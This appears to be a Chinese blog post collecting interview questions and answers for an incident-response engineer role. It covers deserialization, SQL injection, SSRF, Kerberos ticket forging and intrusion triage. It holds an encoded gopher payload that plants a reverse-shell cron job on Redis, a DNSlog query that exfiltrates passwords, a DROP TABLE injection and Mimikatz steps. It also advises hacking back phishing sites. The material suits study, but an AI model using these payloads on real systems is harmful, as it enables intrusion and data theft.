2025年渗透测试面试题总结-长亭科技[社招]应急响应工程师(题目+回答)

发布于:2025-06-14 ⋅ 阅读:(17) ⋅ 点赞:(0)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 长亭科技[社招]应急响应工程师

领域:

一、反序列化漏洞原理

二、安全加固核心思路

三、攻击手法与利用技巧

四、流量特征与工具识别

五、入侵排查指南

六、Weblogic漏洞利用链

七、钓鱼反击策略

领域:

一、反序列化漏洞原理

二、安全加固核心思路

三、攻击手法与利用技巧

四、流量特征与工具识别

五、入侵排查指南

六、Weblogic漏洞利用链

七、钓鱼反击策略

 

 长亭科技[社招]应急响应工程师

1. fastjson不出网利用 fastjson≤1.2.24 条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

2. 安全加固的思路
    	操作系统加固、配置加固、 应用程序加固、软件加固、服务器加固

3. 邮箱定位画像

   1. 最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;
   2. 封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、域名注册服务商!你可以整理一下证据,像西部反映一下。 或者去相关网站举报这些网站。

4. sql注入dnslog外带

   利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
   注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)

5. sql注入堆叠

   堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。
   原理:mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句。如下代码,同时执行以上两条命令,所以我们可以增删改查,只要权限够。

   ```
   select * from users;show databases;
   ```

   虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

6. ssrf利用ridis打内网

   通过【curl命令】和【gopher协议】远程攻击内网redis。
   gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
   gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。此种方法能攻击成功的前提条件是:redis是以root权限运行的。

   ```
   curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
   gopher://172.21.0.2:6379/
   _*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
   ```

   解释:
   1、redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;
   2、payload采用的是bash反弹,定时程序路径是/var/spool/cron/root
   发送请求之前在公网机192.168.220.140开启nc监听端口2333

   ```
   nc -lvp 2333 (或nc -l 2333)
   ```

7. 流量的了解

   1. 冰蝎 2.0 强特征是 accept 里面有个 q=.2
   2. 冰蝎 3.0 Content-Type: application/octet-stream
   3. 冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍
   4. 蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x.....="开头
   5. 哥斯拉 pass 字段
   6. 菜刀流量存在一些特征字 eval base64
   7. AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段
   8. Nessus 扫描器的特征:nessus 字段

8. shiro框架了解

   Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用Cookie RememberMe Manager,对rememberMe的cookie做了加密处理。
   在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化:AES加密 -> Base64编码操作。
   服务器端识别身份解密处理cookie的流程则是:
   获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。
   但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。
   因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。
   Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,
   无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。
   如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

9. shrio550和721的区别

   主要区别在于Shiro550使用已知默认密码,只要有足够的密码。
   Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

10. fastjson反序列化漏洞原理

11. log4j的漏洞原理

12. Windows 入侵排查思路

    1. 检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通过 tasklist 进行进程定位)
    2. 查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析
    3. 使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户
    4. 使用 compmgmt.msc 查看本地用户组有没有隐藏账户
    5. 导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常
    6. 运行 taskschd.msc 排查有无可疑的计划任务
    7. 输入%UserProfile%\Recent 分析最近打开过的可疑文件
    8. 分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的access.log 日志文件。

13. Linux 入侵排查思路

    1. 分析安全日志 /var/log/secure 查看是否有 IP 爆破成功
    2. 查看/etc/passwd 分析是否存在攻击者创建的恶意用户
    3. 查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令
    4. 分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件
    5. 分析中间件、Web 日志,如 access_log 文件
    6. 调用命令 last/lastb 翻阅登录日志
    7. 分析/var/log/cron 文件查看历史计划任务
    8. 分析 history 日志分析操作命令记录
    9. 分析 redis、sql server、mysql、oracle 等日志文件

14. 制作白银票据的思路

    1. 条件
       - 域名称
       - 域的SID值
       - 域的服务账户的密码HASH
       - 伪造的用户名,一般为管理员(如administrator)
       - 需要访问的服务
    2. 步骤:
       1. 获取凭据信息:
          - 以管理员权限运行 Mimikatz。
          - 运行 mimikatzprivilege::debug 提升权限。
          - 运行 sekurlsa::logonpasswords 获取 service 账户的哈希和 SID。
       2. 清空本地票据缓存:
          - 使用 Kerberos 工具清理本地票据缓存:kerberos::purge。
          - 查看本地保存的票据列表:kerberos::list。
       3. 伪造白银票据并导入:
          - 使用 Kerberos 工具伪造白银票据并导入:kerberos::golden,参数包括域名、SID、目标主机、RC4 哈希、服务和伪造用户名。
       4. 访问域控的共享目录:
          - 执行命令 dir \win08\c$ 访问域控的共享目录。
          - 远程登录执行命令:PsExec.exe \win08 cmd.exe。
          - 使用 whoami 命令查看权限

15. 黄金票据制作步骤

    1. 要求:
       - 域名称:通过 AD PowerShell 模块获取(Get-ADDomain)。
       - 域的SID值:同样通过 AD PowerShell 模块获取(Get-ADDomain)。
       - 域的KRBTGT账户NTLM密码哈希。
       - 伪造的用户名。
    2. 制作步骤:
       1. 获取域信息:
          - 使用 AD PowerShell 模块中的 Get-ADDomain 命令获取域名称和SID值。
       2. 获取KRBTGT账户NTLM密码哈希:
          - KRBTGT账户的 NTLM 密码哈希是制作黄金票据的关键信息,可以通过各种手段获取,比如 Mimikatz 工具等。
       3. 伪造用户名:
          - 选择要伪造的用户名,一般选择具有高权限的用户,如管理员(administrator)。
       4. 制作黄金票据:
          - 使用 Mimikatz 或类似工具,使用获取到的域信息和KRBTGT账户的NTLM密码哈希,伪造黄金票据。
          - 命令格式通常为:kerberos::golden,参数包括域名称、SID值、伪造用户名、目标主机等。
       5. 导入黄金票据:
          - 将伪造的黄金票据导入到目标系统,以获取高权限访问权限。
       6. 注意:
          - 制作黄金票据需要获取到域的关键信息和KRBTGT账户的NTLM密码哈希,确保信息的准确性和安全性。
          - 使用 Mimikatz 或其他工具时,需谨慎操作,确保合法授权和合规性。

16. Weblogic原理

    1. 直接通过T3协议发送恶意反序列化对象:
       - 利用T3协议直接发送恶意的反序列化对象,利用漏洞如CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883等。
    2. 利用T3协议配合RMP或ND接口反向发送反序列化数据:
       - 使用T3协议与RMP或ND接口结合,反向发送反序列化数据,利用漏洞如CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645,以及利用IIOP协议的CVE-2020-2551等。
    3. 通过JavaBean XML方式发送反序列化数据:
       - 使用JavaBean XML方式发送反序列化数据,利用漏洞链如CVE2017-3506、CVE-2017-10271、CVE2019-2725、CVE-2019-2729等。

领域:

一、反序列化漏洞原理

  1. Fastjson (≤1.2.24)
    • 条件:依赖dbcptomcat-dbcp(数据库连接池)。
    • 利用链BasicDataSource类通过JNDI注入触发RCE(需出网)。
    • 修复:升级至≥1.2.25,启用safemode
  2. Shiro框架
    • Shiro-550:硬编码AES密钥导致RememberMe字段反序列化RCE。
      • 特征:返回包含rememberMe=deleteMe
    • Shiro-721:随机密钥需通过Padding Oracle攻击爆破有效Cookie。
    • 防御:自定义密钥+禁用RememberMe
  3. Log4j (CVE-2021-44228)
    • 原理${jndi:ldap://恶意URL}触发JNDI注入→加载远程恶意类。
    • 影响:所有未禁用JNDI的Log4j 2.x版本。
    • 修复:升级至2.17.0+,禁用log4j2.formatMsgNoLookups

二、安全加固核心思路

类别 实施措施
操作系统加固 最小化服务端口、定期更新补丁、启用防火墙(如iptables/firewalld)。
配置加固 禁用默认账号、强密码策略、关闭不必要的数据库功能(如LOAD_FILE())。
应用程序加固 输入过滤(SQLi/XSS)、禁用危险协议(如gopher)、反序列化白名单。
服务器加固 文件权限控制(如/etc/passwd只读)、日志审计(syslog/auditd)。

三、攻击手法与利用技巧

  1. SQL注入进阶
    • DNSlog外带(仅Windows):
      sqlSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users),'.evil.dnslog.cn\\test')); 
      • 限制:依赖UNC路径,Linux无效。
    • 堆叠注入
      sqlSELECT 1; DROP TABLE users; -- 需`mysqli_multi_query()`支持。
      • 实际限制:多数ORM框架不支持多语句查询。
  2. SSRF内网穿透
    • Gopher攻击Redis
      bashcurl 'http://vuln.com/ssrf?url=gopher://172.21.0.2:6379/_ 恶意Payload'
      • Payload构造:两次URL编码Redis命令(如flushall+写定时任务)。
      • 前提:目标Redis以root运行。
  3. 票据攻击(Kerberos)
    攻击类型 所需信息 工具命令(Mimikatz)
    黄金票据 域SID、KRBTGT的NTLM Hash、域名 kerberos::golden /sid:... /krbtgt:...
    白银票据 服务账号NTLM Hash、服务名(如cifs) kerberos::golden /target:DC01 /service:cifs

四、流量特征与工具识别

工具 关键特征
冰蝎2.0 HTTP头Accept: q=.2
冰蝎3.0 Content-Type: application/octet-stream
蚁剑 UA含antsword,Payload以0x...=开头
哥斯拉 请求体含pass字段
AWVS 请求头含acunetix wvs字段

五、入侵排查指南

  1. Windows系统
    • 账号检查
      • lusrmgr.msc 查隐藏账号 → compmgmt.msc 验证组权限。
      • 日志分析:事件ID 4776(凭证验证)、4624(登录成功)。
    • 痕迹追踪
      • %UserProfile%\Recent(最近文件)→ taskschd.msc (计划任务)。
  2. Linux系统
    • 日志关键点
      • /var/log/secure(爆破IP)→ /var/spool/mail/root(邮箱日志)。
      • ~/.bash_history(命令历史)→ /var/log/cron(定时任务)。
    • 进程排查
      bashnetstat -antp | grep ESTABLISHED # 可疑网络连接 ps auxf | grep reverse_shell # 恶意进程 

六、Weblogic漏洞利用链

  • 直接T3协议攻击:CVE-2020-2555(IIOP反序列化)、CVE-2020-2883(JDBC注入)。
  • T3+RMP/ND组合利用:CVE-2018-2628(反向发送序列化数据)。
  • XML反序列化链:CVE-2017-10271(SOAP组件)、CVE-2019-2725(AsyncResponseService)。

七、钓鱼反击策略

  1. 渗透反制
    • 若钓鱼站存活:入侵删除数据库 → 反钓鱼收集攻击者指纹(浏览器/邮件头)。
  2. 域名封禁
    • 向注册商(如西部数码)提交滥用证据 → 工信部举报(www.miit.gov.cn )。

      领域:

      一、反序列化漏洞原理

    • Fastjson (≤1.2.24)
      • 条件:依赖dbcptomcat-dbcp(数据库连接池)。
      • 利用链BasicDataSource类通过JNDI注入触发RCE(需出网)。
      • 修复:升级至≥1.2.25,启用safemode
    • Shiro框架
      • Shiro-550:硬编码AES密钥导致RememberMe字段反序列化RCE。
        • 特征:返回包含rememberMe=deleteMe
      • Shiro-721:随机密钥需通过Padding Oracle攻击爆破有效Cookie。
      • 防御:自定义密钥+禁用RememberMe
    • Log4j (CVE-2021-44228)
      • 原理${jndi:ldap://恶意URL}触发JNDI注入→加载远程恶意类。
      • 影响:所有未禁用JNDI的Log4j 2.x版本。
      • 修复:升级至2.17.0+,禁用log4j2.formatMsgNoLookups

    • 二、安全加固核心思路

      类别 实施措施
      操作系统加固 最小化服务端口、定期更新补丁、启用防火墙(如iptables/firewalld)。
      配置加固 禁用默认账号、强密码策略、关闭不必要的数据库功能(如LOAD_FILE())。
      应用程序加固 输入过滤(SQLi/XSS)、禁用危险协议(如gopher)、反序列化白名单。
      服务器加固 文件权限控制(如/etc/passwd只读)、日志审计(syslog/auditd)。

      三、攻击手法与利用技巧

    • SQL注入进阶
      • DNSlog外带(仅Windows):
        sqlSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users),'.evil.dnslog.cn\\test')); 
        • 限制:依赖UNC路径,Linux无效。
      • 堆叠注入
        sqSELECT 1; DROP TABLE users; -- 需`mysqli_multi_query()`支持。
        • 实际限制:多数ORM框架不支持多语句查询。
    • SSRF内网穿透
      • Gopher攻击Redis
        bashcurl 'http://vuln.com/ssrf?url=gopher://172.21.0.2:6379/_ 恶意Payload'
        • Payload构造:两次URL编码Redis命令(如flushall+写定时任务)。
        • 前提:目标Redis以root运行。
    • 票据攻击(Kerberos)
      攻击类型 所需信息 工具命令(Mimikatz)
      黄金票据 域SID、KRBTGT的NTLM Hash、域名 kerberos::golden /sid:... /krbtgt:...
      白银票据 服务账号NTLM Hash、服务名(如cifs) kerberos::golden /target:DC01 /service:cifs

    • 四、流量特征与工具识别

      工具 关键特征
      冰蝎2.0 HTTP头Accept: q=.2
      冰蝎3.0 Content-Type: application/octet-stream
      蚁剑 UA含antsword,Payload以0x...=开头
      哥斯拉 请求体含pass字段
      AWVS 请求头含acunetix wvs字段

      五、入侵排查指南

    • Windows系统
      • 账号检查
        • lusrmgr.msc 查隐藏账号 → compmgmt.msc 验证组权限。
        • 日志分析:事件ID 4776(凭证验证)、4624(登录成功)。
      • 痕迹追踪
        • %UserProfile%\Recent(最近文件)→ taskschd.msc (计划任务)。
    • Linux系统
      • 日志关键点
        • /var/log/secure(爆破IP)→ /var/spool/mail/root(邮箱日志)。
        • ~/.bash_history(命令历史)→ /var/log/cron(定时任务)。
      • 进程排查
        bashnetstat -antp | grep ESTABLISHED # 可疑网络连接 ps auxf | grep reverse_shell # 恶意进程 

    • 六、Weblogic漏洞利用链

    • 直接T3协议攻击:CVE-2020-2555(IIOP反序列化)、CVE-2020-2883(JDBC注入)。
    • T3+RMP/ND组合利用:CVE-2018-2628(反向发送序列化数据)。
    • XML反序列化链:CVE-2017-10271(SOAP组件)、CVE-2019-2725(AsyncResponseService)。

    • 七、钓鱼反击策略

    • 渗透反制
      • 若钓鱼站存活:入侵删除数据库 → 反钓鱼收集攻击者指纹(浏览器/邮件头)。
    • 域名封禁
      • 向注册商(如西部数码)提交滥用证据 → 工信部举报(www.miit.gov.cn )。


网站公告

今日签到

点亮在社区的每一天
去签到